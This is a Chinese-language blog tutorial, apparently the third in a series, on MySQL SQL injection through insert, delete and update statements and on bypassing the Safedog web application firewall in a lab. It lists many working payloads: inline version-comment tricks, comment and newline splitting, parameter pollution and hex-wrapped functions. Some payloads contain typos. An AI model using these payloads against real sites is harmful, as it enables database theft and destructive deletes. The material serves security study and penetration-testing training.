💉 SQLi_BYPASS_for_mysql Vol.3

💉 SQLi_BYPASS_for_mysql Vol.3

目录

  • insert、delete、update
  • 联合注入 BYPASS
  • 注入 BYPASS

🎙️ 0x00 前言

接着 vol.2 继续。

0x19 insert、delete、update 注入

insert、delete、update 主要用在盲注和报错注入,这类注入点不建议使用 sqlmap 等工具,可能会造成大量的垃圾数据。

insert 注入

insert 注入一般会出现在注册、IP 头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。

报错

insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");

针对这个 payload 可以发现,如果没有闭合可能会产生很多垃圾数据:

Screenshot 2020-02-19 下午4.23.56

闭合之后,根据报错可以爆出信息:

insert into admin (id,username,password) values (3,""or updatexml(1,concat(0x7e,(version())),0) or"","sdfsdf");

Screenshot 2020-02-19 下午4.30.36

盲注

int 型可以使用运算符,如 +-*/ and or 异或 移位等等。

// 如果用户名首字母是r,就睡五秒。(用户名为root)
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'slim',"sdfsdf");

// 如果用户名首字母是s,就睡五秒。(用户名为root)
insert into admin values (2+if((substr((select user()),1,1)='s'),sleep(5),1),'slim',"sdfsdf");

Screenshot 2020-02-19 下午4.38.21

字符型注意闭合,不能使用 and。

Screenshot 2020-02-19 下午4.48.26

这种方式会产生大量的垃圾数据,这里需要注意。

delete 注入

报错

使用 delete 注入非常危险,语句不当可能会造成很严重的后果。or 1=1 因为 1=1 为 true 所以每一行都被删除了。

所以在使用 delete 型注入的时候使用 or 一定要为 false。

mysql> delete from admin where id=-2 or updatexml(1,concat(0x7e,(version())),0);

Screenshot 2020-02-19 下午4.59.30

盲注

if() 函数一定要注意,如果 expr1 的值为 true,则返回 expr2 的值,否则返回 expr3 的值。

所以 delete 注入时,or 右边一定要为 false。

⚠️ 但是在 delete 注入实测中发现,例如 payload 为 delete from admin where id=-2 or sleep(3);,理论上会睡眠 3 秒返回,但是实际测试中睡了 36 秒,怀疑是将整个表所有行都跑了一遍(一共 12 行)。所以这里引申出另一个问题,真实渗透测试中目标的数据库可能有几万行数据,等待几万秒可能会造成 DDOS 攻击。这里记录一下有待考证,但是根据时间的返回确实是可以判断出结果的。

mysql> delete from admin where id=-2 or if((substr((select user()),1,4)='root'),sleep(1),0);

mysql> delete from admin where id=-2 or if((substr((select user()),1,4)='toor'),sleep(1),0);

Screenshot 2020-02-19 下午5.30.36

update 注入

与以上类似。但是要注意 update 会修改数据

报错
// 要注意不能既更新该表又查该表
mysql> update admin set id="2"+updatexml(1,concat(0x7e,(version())),0)+"" where id=5;

mysql> update admin set id="2"+updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0)+"" where id=2;

Screenshot 2020-02-19 下午6.05.05

盲注
// 如果用户名是root,就睡三秒,然后修改id为1的那一行
mysql> update admin set id="2"+if((substr((select user()),1,4)='root'),sleep(3),0)+"" where id=1;

// 如果用户名是toor,就睡三秒.
mysql> update admin set id="3"+if()+"" where id=2;

Screenshot 2020-02-19 下午5.52.26

🚨 BYPASS

在找 update、insert 注入时,可以尝试插入引号、双引号、转义符让语句不能正常执行,如果插入失败,更新失败,就可以深入测试确定是否存在注入。

0x20 联合注入 BYPASS

通用型的 waf,需要考虑到用户体验,不能出现什么东西就直接拦截。所以如何成功绕过需要我们具备对 mysql 各个函数、语法、特性的熟悉,然后通过不断地 fuzz 来测试出 payload。

测试环境

windows server 2008 + apache2.4 + safedog V3.0-20140109

每个安全狗的版本不同,过滤的正则也是不同的。所以有的 payload 在最新版可以用,但可能老版本就用不了,所以这是需要知识储备的,最重要的还是多看手册。

位运算符:
位运算符是在二进制上进行计算的运算符,位运算符会先将操作数变成二进制数,进行位运算。然后再将计算结果从二进制数变回十进制数。

& 按位与 两者都
// 对应位都为1则结果为1,否则为0

| 按位或 两者或
// 对应位有一个或两个为1则结果为1,否则为0

^ 按位异或 相同为0,不同为1
// 对应位不相同时,结果为1,否则为0

<< 按位左移
// select 1<<2;
0001 左移两位,剩下的用0补齐,变成 0100

>> 按位右移
// 同上

! 按位取反
涉及到补码、原码等,还有 ~ 符号好像也是取反的,有点复杂,以后回来再看 😅

8421
1&5 1&6 2&5 2&7 15&15 5&15
0001 0001 0010 0010 1111 0101
0101 0110 0101 0111 1111 1111
0001 0000 0000 0010 1111 0101

运算符优先级

最低优先级是 :=

1011652-20170416163043227-1936139924

最高优先级是 !BINARYCOLLATE

and 开始

搭好环境之后,开始测试,我们从最开始的试错开始。

  1. 输入 ' 报错,说明可能存在注入。

  2. 开始测试简单的语句:and 1=1

    ?id=1' and 1				拦截
    ?id=1' and '1' 拦截
    ?id=1' and a 不拦截
    ?id=1' and 'a' 拦截
    ?id=1' and ! 不拦截
    ?id=1' and 1+1 拦截
    ?id=1' and 1+a 拦截
    ?id=1' and hex(1) 不拦截

    分析一下:当 and 后面跟上数字型和字符型时,安全狗会拦截。在安全狗的规则库里我们可以看到它拦截 and 和 or,所以有两个思路:

    • 用其他的字符替换 and 或 or。
    • 不带入字符串或数字型,带入一个特殊符号。

    第一种思路可以带入运算符号来绕过,通过运算符来改变 ID 的值,然后根据页面是否变化来做判断。

    ?id=1' |2 -- +
    // 结果应该是3,测试有效

    ?id=1' &3 -- +
    // 结果应该是1,但是这里报错了,不知道为啥

    ?id=1' ^4 -- +
    // 结果应该是5,测试有效

    Screenshot 2020-02-22 下午5.35.32

    Screenshot 2020-02-22 下午5.39.38

    接着另一种思路,正面刚 and 或 or 是否可行呢?之前测试过 hex(1) 是不会拦截的,这里其实可以作为判断依据了,我们再深入研究一下。

    ⚠️ 注意

    这里需要注意的一点是,payload ?id=1 and hex(0)?id=1' and hex(0) 是不同的。

    我们一开始根据报错猜测系统的 sql 语句是:

    select * from xxx where id='$id' limit 0,1;

    所以这个单引号的位置就很重要,如果不带单引号的话,payload 为 ?id=1 and hex(0),提交语句执行就变成了:

    select * from xxx where id='1 and hex(0)' limit 0,1;

    在 mysql 中执行的结果是:

    Screenshot 2020-02-22 下午5.54.55

    与我们期望的 and 1=0 无匹配结果并不相同,所以需要在引号上面做手脚,将 payload 修改为 ?id=1' and hex(0) -- + 即可:

    Screenshot 2020-02-22 下午5.57.19

    Screenshot 2020-02-22 下午5.58.14

    然后接着刚才 hex() 的思路,测试:

    ?id=1' and 'hex(0)				不拦截
    ?id=1' and 'hex(0)=1 拦截
    ?id=1' and 'hex(0)='a' 拦截

    可以发现 hex(0)= 后面跟字符型或数字型还是会拦截,我们猜测安全狗会判断 = 左右的字符类型,接着测试一下别的符号:

    ?id=1' and '~1>1				不拦截
    ?id=1' and 'hex(1)>1 拦截
    ?id=1' and 'hex(1)>-1 不拦截
    ?id=1' and 'hex(1)>~1 不拦截

    可以发现安全狗只拦截数字型的正数而不拦截负数,payload ?id=1' and -2>1 就可以绕过,可能是负号绕过了它的正则。

    Screenshot 2020-02-22 下午6.08.56

接着 union select 联合查询

内联注释绕过
// 测试是否过滤字符串、函数
?id=union 不拦截
?id=select 不拦截
?id=union select 拦截
?id=union/**/select 拦截
?id=union/*select*/ 不拦截
?id=union 各种字符 select 有时拦有时不拦

可以发现安全狗是识别注释符号的,我们可以利用注释符号来尝试绕过。

内联注释 /*!/*!*/

http://1.1.1.1/less-1/?id=1' union /*!/*!50000select*/ 1,2,3 -- + 拦截

http://1.1.1.1/less-1/?id=1' union/*!/*!5select*/ 1,2,3 -- + 不拦截,但是报错了

为什么不拦截呢?这里是因为 50000 是版本号,多一位或少一位都是不能执行的,所以安全狗就放行了。

🔩 拓展

内联注释 /*!/*!*/

! 后面跟的是数据库版本号时,如果实际的版本号高于或者等于该字符串,应用程序就会将注释内容解释为 sql 语句,否则就会当作注释来处理。默认的,如果没有接版本号,也是会执行里面的内容的。

那么如果我们用 burp 遍历这个值呢?从 10000 开始,我们把 0000 设置为变量,intruder 爆破,可以得到:

Screenshot 2020-02-22 下午6.51.32

得到 14400,所以我们可以编写 payload 为:

(但是在实际测试中,144001144011441 都可以绕过,但是在 burp 中的返回包中显示被拦截。)

http://1.1.1.1/?id=-1' union/*!/*!14400select*/ 1,2,3 -- +

Screenshot 2020-02-22 下午7.16.10

成功绕过且执行

再尝试一下其他的 payload:

// 以下的 payload 都可以成功绕过且执行
http://1.1.1.1/?id=-1' union/*!/*!14400select*/ 1,2,3 -- +

http://1.1.1.1/?id=-1' union/*!14400/*!14400select*/ 1,2,3 -- +

http://1.1.1.1/?id=-1' union/*!14400select*/ 1,2,3 -- +

http://1.1.1.1/?id=-1' union/*!14400/**/%0aselect*/ 1,2,3 -- +

所以说内联 bypass 的核心就在于版本号,通过不断的 fuzz,万变不离其宗。

# 注释绕过

还有其他的注释 --空格#,以前有大神发布过 payload:union%23%0aselect,因为这些都是单行注释,而 %oa 是换行符,但是该 payload 已经被加入规则库了。这里也是一个 fuzz 的过程。

// 这里写一下思路

union %23%0aselect 拦截,接着测试是哪部分被拦截
union %23select 拦截
union a%23select 不拦截,从这里入手
union all%23 select 不拦截
union all%23%0a select 不拦截
union %23%0aall select 不拦截

所以 payload 可以写成 http://1.1.1.1/?id=1' union%23%0aall select

Screenshot 2020-02-22 下午7.47.20

有时候 fuzz 右边不行,也可以试试左边。为什么可以加 all,这个时候就必须要多查手册,union all 命令和 union 命令几乎是等效的,不过 union all 命令会列出所有的值。

–空格 注释绕过

最初的姿势其实差不多:-- %0a,这个 payload 也已经被加入了规则库。

union all -- %0a select			拦截
union -- %0a select 拦截
union -- +%0a select 拦截
union -- a%0a select 不拦截
union -- 1%0a select 不拦截
union -- hex(2)%0a select 不拦截

发挥想象力、多看手册。

hpp 参数污染

hpp 参数污染的原因主要是 web server 对参数的解析问题。PHP/Apache 中,它总先解析最后一个 id。

http://1.1.1.1/?id=-1' /*&id='union select 1,user(),3 -- +*/

Screenshot 2020-02-22 下午8.11.25

0x21 注入 BYPASS

(判断列数时,payload 也可以使用内联注入部分:?id=1' order /*!/*!14400by/ 4 -- +,判断出列数之后使用 union select 联合查询。)

绕过 union select 之后,接着进行接下来的注入。user() 查询用户,但是这个函数被禁了:

Screenshot 2020-02-22 下午8.19.07

我们来尝试绕过,继续 fuzz。

user()						拦截
user/**/() 拦截
user/**/(/**/) 拦截
hex(user()) 拦截
hex(user/**/(/**/)) 不拦截
hex(user/**/()) 不拦截

Screenshot 2020-02-22 下午8.24.20

十六进制解码得到:root@localhost

接着就可以尝试猜解库名,构造 payload:

?id=-1' union /!*11440select*/ 1,schema_name,3 from information_schema.schemata limit 2,1 -- +

Screenshot 2020-02-22 下午8.33.55

当然在真实环境中,information_schema 可能会被过滤,所以这里记录一些绕过的思路:

继续 fuzz 尝试:

?id=-1' union /!*11440select*/ 1,select schema_name from `information_schema`.schemata,3 limit 2,1 -- +

`information_schema`.`schemata`

information.`schemata`
(information_schema.schemata)
information_schema/**/.schemata

你有认真地看过、测试过这些吗?

Hard work and no play makes Nick a dull boy.